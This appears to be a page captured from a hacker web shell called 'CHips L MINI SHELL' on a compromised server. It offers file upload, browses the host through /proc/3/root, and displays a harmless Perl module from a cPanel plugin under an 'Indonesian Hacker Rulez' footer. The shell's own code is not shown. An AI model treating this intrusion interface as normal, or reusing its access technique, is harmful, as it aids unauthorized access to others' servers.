CHips L MINI SHELL

CHips L pro

Current Path : /proc/3/root/usr/local/rvglobalsoft/rvglobalsoft/modules/handletest/classes/
Upload File :
Current File : //proc/3/root/usr/local/rvglobalsoft/rvglobalsoft/modules/handletest/classes/Output.pm

package HandletestOutput;
##LICENSE##
use strict;
use warnings;
use JSON::PP;
use Class::Std::Utils;
{
    sub new {
        my ($class, $opt) = @_;
        my (%hash);
        my ($this) = bless( \%hash, $class);
        return $this;
    }  
    
    sub callHandle {
    	my ($this) = shift;
    	my ($handleFunc) = shift;
    	if (defined $handleFunc && $handleFunc ne '') {
    		my ($oHandle) = RVL::CpHandle::singleton();
    		RVL::logMessage("call \$oHandle->$handleFunc();", __CONSTANT__::RVL_LOG_DEBUG);
    		my ($res);
    		eval {
    		  $res = $oHandle->$handleFunc();
    		};
    		if ($@) {
    			return '<font color="#ff0000">' . "Call RVL::CpHandle::singleton()->$handleFunc() has error!!<br />". $@ . '</font>';
    		} else {
    			if (ref $res eq 'ARRAY' || ref $res eq 'HASH') {
    				my ($refData) = ref $res;
    				my ($data) = encode_json $res;
        			return  "($refData) $data";
    			} else {
    				return $res;
    			}
    		}
    	} else {
    		return '';
    	}
    }
   
}
1;

Copyright 2K16 - 2K18 Indonesian Hacker Rulez